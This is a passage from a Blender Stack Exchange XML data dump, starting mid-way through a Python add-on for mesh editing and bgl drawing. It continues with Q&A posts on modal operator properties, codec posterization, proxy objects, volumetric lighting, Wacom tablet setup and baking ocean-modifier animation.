v2,angle)&#xA;&#xA;                listabasuravertices0= [vn2,vn3]&#xA;                bmesh.ops.delete(bm, geom= listabasuravertices0, context=1)&#xA;        bmesh.update_edit_mesh(me, True)&#xA;&#xA;&#xA;&#xA;&#xA;################################################################################&#xA;######  testbgl##########################################  &#xA;################################################################################ &#xA;&#xA;class testbglOperator(bpy.types.Operator):&#xA;    &quot;testbgl&quot;&#xA;    bl_idname = 'mesh.testbgl'&#xA;    bl_label = 'testbgl'&#xA;    bl_description  = &quot;test bgl&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;&#xA;&#xA;&#xA;    chboxjoin0 = bpy.props.BoolProperty(&#xA;        name=&quot;Join&quot;,&#xA;        default= True&#xA;    )&#xA;    chboxVert1 = bpy.props.BoolProperty(&#xA;        name=&quot;Select&quot;,&#xA;        default= True&#xA;    )&#xA;&#xA;&#xA;    def main(self, context, chboxjoin0, chboxVert1):&#xA;&#xA;        #almacena caras&#xA;&#xA;        obj = bpy.context.object&#xA;        me = obj.data&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;&#xA;        v1, v2= [v for v in bm.verts if (v.select == True and v.hide == False)]&#xA;&#xA;        if chboxjoin0:&#xA;            bpy.ops.mesh.vert_connect_path()&#xA;&#xA;        if chboxVert1:&#xA;            v1.select = True&#xA;            v2.select= True&#xA;        else:&#xA;            v1.select = False&#xA;            v2.select= False&#xA;&#xA;        bmesh.update_edit_mesh(me, True)&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;    @classmethod&#xA;&#xA;    def poll(self, context):&#xA;        obj = context.active_object&#xA;        return all([obj is not None, obj.type == 'MESH', obj.mode == 'EDIT'])&#xA;    '''&#xA;    def execute(self, context):&#xA;&#xA;        self.main(context, self.chboxjoin0, self.chboxVert1)&#xA;&#xA;        #bisectoroperator(self)&#xA;        return {'FINISHED'}&#xA;    '''   &#xA;    def modal(self, context, event):&#xA;        context.area.tag_redraw()&#xA;&#xA;        if event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        #self.main(context, self.chboxjoin0, self.chboxVert1)&#xA;&#xA;        if context.area.type == 'VIEW_3D':&#xA;            # the arguments we pass the the callback&#xA;            args = (self, context)&#xA;            # Add the region OpenGL drawing callback&#xA;            # draw in view space with 'POST_VIEW' and 'PRE_VIEW'&#xA;&#xA;            self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_VIEW')&#xA;&#xA;&#xA;            self.mouse_path = []&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            self.main(context, self.chboxjoin0, self.chboxVert1)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;View3D not found, cannot run operator&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;class TestbglOperatorPanel(bpy.types.Panel):&#xA;    #bl_category = &quot;Bisector&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;&#xA;    #bl_context = &quot;editmode&quot;&#xA;    bl_label = &quot; Test bgl&quot;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.mode == 'EDIT_MESH')&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        row = layout.row(align=True)&#xA;        row.operator(testbglOperator.bl_idname) #testbgl&#xA;&#xA;&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;---------------------------&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I'm making some bgl test, but I have for example this problem:&#xA;In this case I have the &lt;code&gt;template operator_modal_draw&lt;/code&gt;  and I want to add some &lt;code&gt;int property&lt;/code&gt; in order to change the line width... something like:&#xA;    width = bpy.props.IntProperty(&lt;br&gt;&#xA;        name=&quot;line width&quot;,&lt;br&gt;&#xA;        default=10,&lt;br&gt;&#xA;        description=&quot;&quot;,&#xA;        min=2&#xA;    )&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bUN1a.png*&quot; alt=&quot;what I want&quot;&gt;&#xA;I did a lot of test but I don't have any good result&#xA;do you have some ideas?&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="12" LastEditDate="2015-05-25T15:23:09.130" LastActivityDate="2015-05-25T15:23:09.130" Title="how add properties to operator modal draw?" Tags="&lt;python&gt;&lt;add-on&gt;&lt;properties&gt;&lt;bmesh&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30297" PostTypeId="2" ParentId="29270" CreationDate="2015-05-02T20:43:58.503" Score="7" Body="&lt;p&gt;you have to use the Proxy Objects :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A proxy is a legal stand-in or substitute for the real thing. In Blender, when you make a linked copy (described above), you cannot edit the object; all you have is a link to it. You cannot add to it or change it, because its source is in another file that is not open.   &lt;a href=&quot;https://docs.blender.org/manual/en/latest/files/linked_libraries/library_proxies.html?#proxies&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;br&gt;&#xA;to convert the linked object into a Proxy Object you select the linked Object and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; now you can animate the proxy object and it will get updated to the linked when you reload the file.&#xA;" OwnerUserId="5113" LastEditorUserId="15924" LastEditDate="2020-10-20T14:01:09.253" LastActivityDate="2020-10-20T14:01:09.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30298" PostTypeId="2" ParentId="29218" CreationDate="2015-05-02T21:53:10.170" Score="11" Body="&lt;p&gt;Sadly, there isn't enough information in your post to provide you with a conclusive answer. However, the following should help to illuminate some of your issues.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Background&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When you are rendering to a codec, the codec shifts the color encoding scheme from RGB to another format typically. In most instances this is a YCbCr schema, which provides one channel for luminance, and two channels to describe the color, or chromaticity, of the pixel value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most codecs are designed for low bandwidth and small file sizes. In order to achieve this, they will compress and scale portions of the data to make the result fit into the designed constraints. Within the realm of YCbCr, our visual systems have learned to pay more attention to luminance over chrominance. In codecs where data size is an issue, engineers leverage this perceptual trick and more greatly compress the chrominance, or the Cb and Cr planes, as compared to the luminance plane, or Y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing that typically all three planes are compressed in a codec, and coupling that with understanding that the Cb and Cr planes are even more greatly compressed, we can begin to understand why posterization occurs in encoded formats. The more greatly compressed the stream, the greater degree of posterization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, even when given a well encoded RGB image at eight bits per channel, an encoded motion picture format will more often than not degrade this acceptable level of encoding to a point where it may be unacceptable given some contexts. Gradients are one example that will exacerbate this phenomena.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how to avoid posterization? The most ideal way is to encode to an uncompressed RGB display referred still image format, and then leverage an external encoding tool that permits you to control the YCbCr stream details. With a decent set of encoding parameters including bitrate and compression level, you should be able to pull the posterization into acceptable levels for eight bit motion picture presentations.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Enough of that, what damn codec?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;So even if someone is telling you to try a &quot;lossless&quot; encode, while it will try to maintain accuracy, will still include a conversion to YCbCr and likely some scaling at the very least, which will &lt;em&gt;not&lt;/em&gt; be lossless when comparing to the source RGB format. If you use a codec that remains in the RGB domain, you are avoiding one transformation, but even then, you will be likely quantizing your image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember too that not all codecs may be decoded at all or correctly when your content arrives at the destination you choose, so use caution. This includes middle layer services such as YouTube, Vimeo, etc., that will more than likely re-encode your material yet again, subject to another entire set of mistakes and encoding problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the above caveats, the following options direct out of Blender will likely be closer to what you were hoping:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;HuffYUV&lt;/strong&gt;. HuffYUV can deliver both YCbCr and RGB formats. I actually patched this portion of the code to remain in the RGB domain and as such, it will be closer to what you are seeing in the 8 bit display buffer output from Blender.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;FFv1&lt;/strong&gt; will be a lossless encode, with the above caveats of YCbCr transforms and quantization. Test to be sure.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;H264 lossless&lt;/strong&gt; should be a losseless encode, with the above caveats of YCbCr transforms and quantization. Test to be sure.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If anyone would like help on how to test if an encode went correctly, it would be useful if a new question was posted. This would allow for a proper response.&lt;/p&gt;&#xA;" OwnerUserId="213" LastEditorUserId="213" LastEditDate="2016-01-03T22:27:43.913" LastActivityDate="2016-01-03T22:27:43.913" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30300" PostTypeId="2" ParentId="30295" CreationDate="2015-05-02T22:45:23.950" Score="0" Body="&lt;p&gt;Since clicking while trying to set a value on the UI will cause the operator to stop I suggest altering the property by catching an event like key press or mouse wheel, as an example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# in modal()&#xA;    elif event.type == 'WHEELUPMOUSE':&#xA;        self.width += 1&#xA;    elif event.type == 'WHEELDOWNMOUSE':&#xA;        self.width -= 1&#xA;&#xA;# in draw_callback_px()&#xA;    bgl.glLineWidth(self.width)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now scrolling the mouse wheel will increase/decrease the line width&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;you can also register a new panel where you can set the variables and launch the operator&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-02T22:57:02.823" LastActivityDate="2015-05-02T22:57:02.823" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30301" PostTypeId="1" AcceptedAnswerId="30302" CreationDate="2015-05-03T00:13:08.693" Score="1" ViewCount="476" Body="&lt;p&gt;I just duplicated my model and moved it to a new layer to sort of 'save' a copy of it and now I can't enter edit mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can reproduce this by opening a new project and duplicating the cube via &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; and then move that cube to a new layer. Once that happens you're no longer able to enter edit mode. Why? How can I maintain a copy of my model on another layer and edit the current layer?&lt;/p&gt;&#xA;" OwnerUserId="1506" LastActivityDate="2015-05-03T08:37:43.937" Title="Cannot enter edit mode after moving item to another layer?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30302" PostTypeId="2" ParentId="30301" CreationDate="2015-05-03T00:35:40.947" Score="2" Body="&lt;p&gt;To enter Edit mode the active Object ( not an : Empty, Camera, Lamp ) should be on a visible layer.&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-03T00:35:40.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30303" PostTypeId="2" ParentId="29258" CreationDate="2015-05-03T00:49:39.567" Score="3" Body="&lt;p&gt;You can do this &lt;strong&gt;&lt;em&gt;Extremely&lt;/em&gt;&lt;/strong&gt; easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at least from the way your question is worded, I think this is what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable &lt;em&gt;debug properties&lt;/em&gt; to see &lt;strong&gt;&lt;em&gt;Prop 3&lt;/em&gt;&lt;/strong&gt; display in the BGE, and then change either &lt;strong&gt;&lt;em&gt;Prop 1&lt;/em&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;em&gt;prop 2&lt;/em&gt;&lt;/strong&gt; to make one higher that the other, and &lt;strong&gt;&lt;em&gt;Prop 3&lt;/em&gt;&lt;/strong&gt; will now change to be &lt;strong&gt;true&lt;/strong&gt; or &lt;strong&gt;false&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LHChv.png&quot; alt=&quot;Lame Logic Setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2016-03-21T13:34:04.547" LastActivityDate="2016-03-21T13:34:04.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30304" PostTypeId="1" CreationDate="2015-05-03T02:13:46.407" Score="2" ViewCount="2325" Body="&lt;p&gt;I try to follow Mike Pan's really short description how to rendering a stack of 2D images as a 3D object in blender found here: &lt;a href=&quot;https://blender.stackexchange.com/questions/8436/rendering-stack-of-2d-imageas-a-3d-object&quot;&gt;Rendering stack of 2D images as a 3D object?&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike writes: You can definitely render a 3D voxel dataset using the built-in tools of Blender. The basic workflow using the Blender Internal engine:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a Cube that's the same dimension as your voxel data&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a volume material and texture for the cube.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Load in the density data as image sequence or 8bit raw data&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust all resolution parameters, and setup the texture to affect Density and Emissions. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tweak color map and material properties until the data is shown nicely.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am quit new to Blender. I only succeeded partly.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I could make a cube that's the same dimension as my voxel data though opening the &lt;strong&gt;Transform&lt;/strong&gt; panel in the &lt;strong&gt;3D View Editor&lt;/strong&gt; by clicking the (&lt;strong&gt;+&lt;/strong&gt;) symbol in the right top corner of the editor. There I could set the &lt;strong&gt;Dimensions&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I could generate volume material and texture for the cube through opening the &lt;strong&gt;Properties Editor&lt;/strong&gt;, where &lt;strong&gt;Material&lt;/strong&gt; and the &lt;strong&gt;Texture&lt;/strong&gt; for an object can be set.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I got stuck by &quot;&lt;em&gt;load in the density data as image sequence or 8-bit raw data&lt;/em&gt;&quot;. &#xA;There are about 400 8-bit segmentation images I should load. &#xA;I could select them all and &lt;strong&gt;Import&lt;/strong&gt; the &lt;strong&gt;Images as Planes&lt;/strong&gt;. But I think this is not the way Mike aimed to load the z-stack of pictures. &#xA;How am I able to load the Images into the cube &lt;strong&gt;?&lt;/strong&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Every hint is appreciated! &lt;/p&gt;&#xA;" OwnerUserId="14136" LastEditorUserId="14136" LastEditDate="2015-05-03T05:00:18.630" LastActivityDate="2015-05-03T05:00:18.630" Title="Render Z-stack of 2D images into 3D object in Blender" Tags="&lt;modeling&gt;&lt;image&gt;" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="30305" PostTypeId="2" ParentId="29199" CreationDate="2015-05-03T02:50:42.027" Score="3" Body="&lt;p&gt;One way using an &lt;em&gt;Action Actuator&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add an empty&lt;/li&gt;&#xA;&lt;li&gt;On frame one insert a keyframe for the Z location of the empty (&lt;kbd&gt;I&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Move the empty up on the Z, then insert a keyframe on a later frame (I used frame 10).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add some logic bricks to the empty:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uxKcZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the action actuator select the action you created by inserting the keyframes earlier (it will be named something like &lt;code&gt;EmptyAction&lt;/code&gt; by default). Don't forget to set the &lt;em&gt;end frame&lt;/em&gt; to the frame on which you inserted the last keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a &lt;em&gt;Motion&lt;/em&gt; actuator to make it rotate continuously.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the camera to the empty (Press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; with both objects selected and the empty active).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Result:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7m9nO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/213/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=213&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-05-03T02:50:42.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30306" PostTypeId="2" ParentId="29285" CreationDate="2015-05-03T03:51:03.680" Score="12" Body="&lt;p&gt;For &lt;a href=&quot;https://en.wikipedia.org/wiki/Volumetric_lighting&quot; rel=&quot;nofollow noreferrer&quot;&gt;volumetric lighting&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two basic options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1-&lt;/strong&gt; On your &lt;strong&gt;world&lt;/strong&gt; settings you can add &lt;strong&gt;volume scatter&lt;/strong&gt; and &lt;strong&gt;volume absorption&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9WtpB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that anything connected to the background surface shader will be ignored and will render black, so Enviromental textures will not work well with volume scattering (for more info &lt;a href=&quot;https://blender.stackexchange.com/a/19227/1853&quot;&gt;read this post&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2-&lt;/strong&gt;. Create some geometry around the area where you need volumetrics, and use volume scatter as volume for the object. This approach has the advantage of being a bit less intense to compute and you can still use the background color or environment images (like HDR).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fqmki.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fqmki.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Watch out for a couple of things: you need to increase the intensity of your lights. To have a clean image you need to bring up the samples for rendering (in this example I used 150, but you can clean it up even further with more samples or using branched tracing and increasing the samples for the volume). Fireflies may appear so be ready to use &lt;em&gt;clamp indirect&lt;/em&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For selective focus you can set the depth of field of the camera to a large apterture (1.4 or less) to throw the background out of focus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can use the compositor: With a defocus node you can blur the image based on information from the Z pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fEmsJ.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2019-03-06T16:43:44.117" LastActivityDate="2019-03-06T16:43:44.117" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="30307" PostTypeId="2" ParentId="29281" CreationDate="2015-05-03T05:18:23.003" Score="3" Body="&lt;p&gt;On Windows and Mac, the Control Panel for wacom in the operating system allows you to set the behavior for different applications, both for the pen buttons and the touch strip. Create a setting for blender and just remap your buttons to do what you need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fSUb8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other trick I use is enable &lt;strong&gt;Emulate 3 Button Mouse&lt;/strong&gt; That way clicking and dragging the pen while holding &lt;strong&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;/strong&gt; key I can &lt;strong&gt;rotate&lt;/strong&gt; the view.&#xA;&lt;strong&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;/strong&gt; to &lt;strong&gt;zoom&lt;/strong&gt; in and out. &lt;strong&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;/strong&gt; to move sideways and up down. I've never used the mouse in blender at all...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZKEqM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For linux it is also possible to remap the buttons settings, but the changes are system-wide, not for specific applications.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-03T05:29:02.333" LastActivityDate="2015-05-03T05:29:02.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30308" PostTypeId="1" AcceptedAnswerId="30313" CreationDate="2015-05-03T07:55:16.187" Score="0" ViewCount="506" Body="&lt;p&gt;I created in Blender ocean and floating object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to export this scene to Maya (I need to export this scene to Nuke through Maya)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Animation of floating object - is not the key animation, made by hand (from key to key, from phase to phase). In order to move &quot;on the waves&quot; floating object analyzes the surface of the ocean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a simple method - I use an invisible object to draw in &quot;dynamic Paint&quot; mode, the area of ​​the ocean where the object should float. And then I make object &quot;copy rotation &quot; and &quot;copy location&quot; (constraints) of this area.&#xA;(here is tutorial i used: &lt;a href=&quot;https://www.youtube.com/watch?v=11F1NRpqrzY&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=11F1NRpqrzY&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think in Maya and Nuke there is no ocean  modifier and constraints. &#xA;How to export this scene?&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="13487" LastEditDate="2015-05-03T08:40:15.403" LastActivityDate="2015-05-04T15:01:34.123" Title="How to export a scene from Blender, in which I use modifiers and constraints, to Maya and Nuke?" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;export&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30309" PostTypeId="2" ParentId="30301" CreationDate="2015-05-03T08:37:43.937" Score="0" Body="&lt;p&gt;I just tried to reproduce the steps you took and had no problem. I duplicated the object (shift + d), moved the coppied cube to the 2nd layer (m then 2, &lt;em&gt;not plus&lt;/em&gt;), then clicked on the original cube (on the 1st layer), and hit tab. Not a single problem along the way. What version of Blender are you using? I was actually having some issues with the latest version and had to roll back to 2.73 (alpha build). You may want to try that and see if that fixes it. If you're on an older version, try upgrading to a newer one, but simply coppying an object and moving it to another layer should have no impact on your ability to edit the first object in any version. Could be a bug or something else going on on your PC too.&lt;/p&gt;&#xA;" OwnerUserId="8032" LastActivityDate="2015-05-03T08:37:43.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30310" PostTypeId="1" AcceptedAnswerId="30311" CreationDate="2015-05-03T08:37:47.620" Score="4" ViewCount="3501" Body="&lt;p&gt;How to apply the ocean modifier to get an animated object, (not a static which have  froze in a single phase)?&lt;/p&gt;&#xA;" OwnerUserId="13487" LastActivityDate="2017-10-13T17:59:40.700" Title="How to apply the ocean modifier to get an animated object?" Tags="&lt;ocean-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30311" PostTypeId="2" ParentId="30310" CreationDate="2015-05-03T09:03:18.473" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Export the mesh as an .mdd file format.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove any deformation modifiers on the object. Apply the Ocean modifier. The object needs to have same amount of vertices as while exported but strip down any animation on it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add Mesh Cache modifier and import the file into it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iBgvo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you baked the object's animation. Tadaa!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;You can also apply your modifiers as a shape key. To do this for every frame you need to do some scripting though.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-05-03T19:19:16.077" LastActivityDate="2015-05-03T19:19:16.077" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30312" PostTypeId="2" ParentId="30294" CreationDate="2015-05-03T09:10:46.997" Score="3" Body="&lt;p&gt;Yes, it is possible! :) You can use the &quot;Bake action&quot;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an ocean, and an object that &quot;floats&quot; on the surface of the ocean using the method, described in this tutorial (&lt;a href=&quot;https://www.youtube.com/watch?v=11F1NRpqrzY&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=11F1NRpqrzY&lt;/a&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/26QVo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Select a floating object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Press T and in the left pane, select the tab &quot;Animation&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Press Bake Action, select the frame range and check &quot;clear constraints&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OQ35i.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xobry.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Voila! You will see a lot of yellow strips in the timeline - the key frames of animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EWtUW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you delete the ocean and sphere by which you drew in the dynamic Paint mode, floating object will continue to move as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XUfv1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="13487" LastEditDate="2015-05-03T14:55:21.127" LastActivityDate="2015-05-03T14:55:21.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
